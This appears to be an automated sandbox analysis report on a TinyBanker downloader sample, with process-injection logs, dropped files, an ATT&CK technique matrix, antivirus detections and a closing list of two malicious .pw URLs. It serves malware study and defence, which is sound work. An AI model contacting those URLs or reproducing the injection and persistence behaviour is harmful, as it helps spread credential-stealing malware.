Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2610000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2520000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2B20000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1450000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2620000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: EE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2D30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: E40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 920000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: E40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 23C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 10B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2790000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2510000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: CE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 640000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 8E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1040000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: F90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2350000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 29B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1190000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 27F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2EF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 28D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: B90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2B70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2BD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1170000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 940000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 6E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 14D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2A30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2960000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 3010000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2560000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 13C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 13B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 25F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2EF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 550000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: BD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 550000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2C30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 25F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 910000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 940000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2C90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2DA0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 8D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2DC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2AE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2130000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 720000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 23D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2B40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 26C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2100000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2510000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: FE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1170000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: E70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2610000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: F70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 550000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: FE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 910000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 24C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1490000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1380000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1310000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 720000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 6B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2530000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 22F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2ED0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 8F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1050000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 980000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 990000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2900000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1510000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A90000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe base: 1C0000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe base: 1C0000	Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Process created: C:\Windows\SysWOW64\winver.exe winver

Jump to behavior

Source: java.exe, 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1635935330.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000002.2921450784.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1634885341.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000002.2925576219.000001CD41221000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.1634654042.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2901515644.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: winver.exe, 00000002.00000002.2893231988.0000000002C7C000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: tShell_TrayWnd*(d
Source: explorer.exe, 00000003.00000002.2921450784.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1634885341.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000002.2925576219.000001CD41221000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winver.exe, 00000002.00000002.2893231988.0000000002C7C000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: tShell_TrayWnd
Source: explorer.exe, 00000003.00000002.2921450784.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1634885341.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000002.2925576219.000001CD41221000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\java.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133477548824988414.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Exploitation for Client Execution	11 Registry Run Keys / Startup Folder	512 Process Injection	3 Rootkit	1 Credential API Hooking	111 Security Software Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Masquerading	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	512 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	13 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Hidden Files and Directories	Cached Domain Credentials	111 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
java.exe	89%	ReversingLabs	Win32.Downloader.TinyBanker
java.exe	100%	Avira	HEUR/AGEN.1322420
java.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	100%	Avira	HEUR/AGEN.1322420
C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingrms	0%	URL Reputation	safe
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://login.windows.local	0%	URL Reputation	safe
http://evbsdqvgmpph.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://fccfxejgtpqb.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
